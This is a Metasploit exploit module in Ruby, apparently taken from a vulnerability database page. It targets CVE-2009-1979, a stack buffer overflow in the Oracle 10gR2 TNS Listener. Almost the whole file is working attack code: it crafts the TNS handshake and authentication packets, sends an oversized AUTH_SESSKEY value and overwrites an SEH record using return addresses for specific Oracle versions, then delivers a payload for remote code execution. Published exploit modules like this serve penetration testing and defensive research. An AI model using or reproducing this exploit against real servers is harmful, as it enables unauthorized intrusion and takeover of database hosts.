##
# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TNS
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Oracle. When
sending a specially crafted packet containing a long AUTH_SESSKEY value
to the TNS service, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11128 $',
'References' =>
[
[ 'CVE', '2009-1979'],
[ 'OSVDB', '59110'],
[ 'BID', '36747'],
[ 'URL', 'http://blogs.conus.info/node/28' ],
[ 'URL', 'http://blogs.conus.info/node/35' ],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 0x17e,
'BadChars' => "", # none, thx memcpy!
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Oracle 10.2.0.1.0 Enterprise Edition',
{
# Untested
'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
}
],
[ 'Oracle 10.2.0.4.0 Enterprise Edition',
{
# Tested OK - 2010-Jan-20 - jduck
'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 20 2009'))
register_options(
[
Opt::RPORT(1521)
], self.class)
end
def check
version = tns_version
if (not version)
raise RuntimeError, "Unable to detect version!"
end
print_status("Oracle version reply: " + version)
return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
return Exploit::CheckCode::Safe
end
def exploit
mytarget = nil
if target.name =~ /Automatic/
print_status("Attempting automatic target detection...")
version = tns_version
if (not version)
raise RuntimeError, "Unable to detect version!"
end
if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
mytarget = targets[1]
elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
mytarget = targets[2]
end
if (not mytarget)
raise RuntimeError, "Unable to automatically detect the target"
end
print_status("Automatically detected target \"#{mytarget.name}\"")
else
mytarget = target
print_status("Attacking using target \"#{mytarget.name}\"")
end
username = rand_text_alphanumeric(0x1c)
connect
print_status("Sending NSPTCN packet ...")
connect_data = "" +
"(DESCRIPTION=" +
"(CONNECT_DATA=" +
"(SERVICE_NAME=orcl)" +
"(CID=" +
"(PROGRAM=client.exe)" +
"(HOST=client_host)" +
")" +
")" +
"(ADDRESS=" +
"(PROTOCOL=TCP)" +
"(PORT=1521)" +
")" +
")"
nsptcn_pkt = tns_packet(connect_data)
sock.put(nsptcn_pkt)
# read NSPTRS (expecting 8 bytes)
res = sock.get_once(-1, 1)
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
print_status("Re-sending NSPTCN packet ...")
sock.put(nsptcn_pkt)
# read NSPTAC (expecting 32 bytes)
begin
res = sock.get_once(-1, 1)
rescue ::Errno::ECONNRESET, EOFError
raise RuntimeError, "OOPS, maybe the service hasn't started completely yet, try again..."
end
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
# send NA
print_status("Sending NA packet ...")
na_stuff = [0xdeadbeef].pack('N') +
"\x00\x92" +
"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
na_pkt = nsptda_packet(na_stuff)
sock.put(na_pkt)
# read response (expecting 127 bytes)
res = sock.get_once(-1, 1)
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
# send TTIPRO
print_status("Sending TTIPRO packet ...")
ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
"IBMPC/WIN_NT-8.1.0" +
"\x00"
ttipro_pkt = nsptda_packet(ttipro_stuff)
sock.put(ttipro_pkt)
# read response (expecting 179 bytes)
res = sock.get_once(-1, 1)
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
# send TTIDTY
print_status("Sending TTIDTY packet ...")
ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
ttidty_pkt = nsptda_packet(ttidty_stuff)
sock.put(ttidty_pkt)
# read response (expecting 22 bytes)
res = sock.get_once(-1, 1)
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
# send first auth pkt (call OSESSKEY)
print_status("Calling OSESSKEY ...")
params = []
dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
sock.put(dtyauth_pkt)
# read RPA (expecting 225 bytes)
res = sock.get_once(-1, 1)
#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
# build exploit buffer
print_status("Calling kpoauth with long AUTH_SESSKEY ...")
sploit = payload.encoded
sploit << rand_text_alphanumeric(0x19a - 0x17e)
sploit << generate_seh_record(mytarget.ret)
distance = payload_space + 8 + 5
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
# ensure bad ptr is derefed
value = rand(0x3fffffff) | 0xc0000000
sploit[0x17e,4] = [value].pack('V')
# send overflow trigger packet (call kpoauth)
params = []
params << {
'Name' => 'AUTH_SESSKEY',
'Value' => sploit,
'Flag' => 1
}
dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
sock.put(dtyauth_pkt)
# expecting disconnect...
if (res = sock.get_once(-1, 1))
print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
raise RuntimeError, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/"
end
handler
disconnect
end
def tns_version
connect
version = "(CONNECT_DATA=(COMMAND=VERSION))"
pkt = tns_packet(version)
sock.put(pkt)
sock.get_once
res = sock.get_once(-1, 1)
disconnect
return res
end
def nsptda_packet(data)
pkt = [data.length + 10].pack('n') # NSPHDLEN
pkt << [0].pack('n') # NSPHDPSM
pkt << [6].pack('C') # pkt type
pkt << [0].pack('C') # reserved
pkt << [0].pack('n') # NSPHDHSM
pkt << [0].pack('n') # NSPDAFLG
pkt << data
return pkt
end
def dtyauth_packet(opi, user, flag, params)
dunno = 2
dunno = 3 if opi == 0x73
pkt = [3, opi, dunno].pack('CCC')
pkt << [-2].pack('V')
pkt << [user.length].pack('V')
pkt << [flag].pack('V')
pkt << [-2].pack('V')
pkt << [params.length].pack('V')
pkt << [-2].pack('V')
pkt << [-2].pack('V')
pkt << [user.length].pack('C')
pkt << user
params.each { |param|
name = param['Name']
pkt << [name.length].pack('V')
pkt << [name.length].pack('C')
pkt << name
val = param['Value']
pkt << [val.length].pack('V')
if (val.length > 0)
if (val.length > 0xff)
pkt << chunkify(val)
else
pkt << [val.length].pack('C')
pkt << val
end
end
flag = param['Flag']
pkt << [flag].pack('V')
}
return nsptda_packet(pkt)
end
def chunkify(buf)
ret = ""
if buf.length > 0xff
ret << "\xfe"
while (buf.length > 0xff)
ret << "\xff"
ret << buf.slice!(0, 0xff)
end
if buf.length > 0
ret << [buf.length].pack('C')
ret << buf
end
ret << "\x00"
else
ret << [buf.length].pack('C')
ret << buf
end
return ret
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation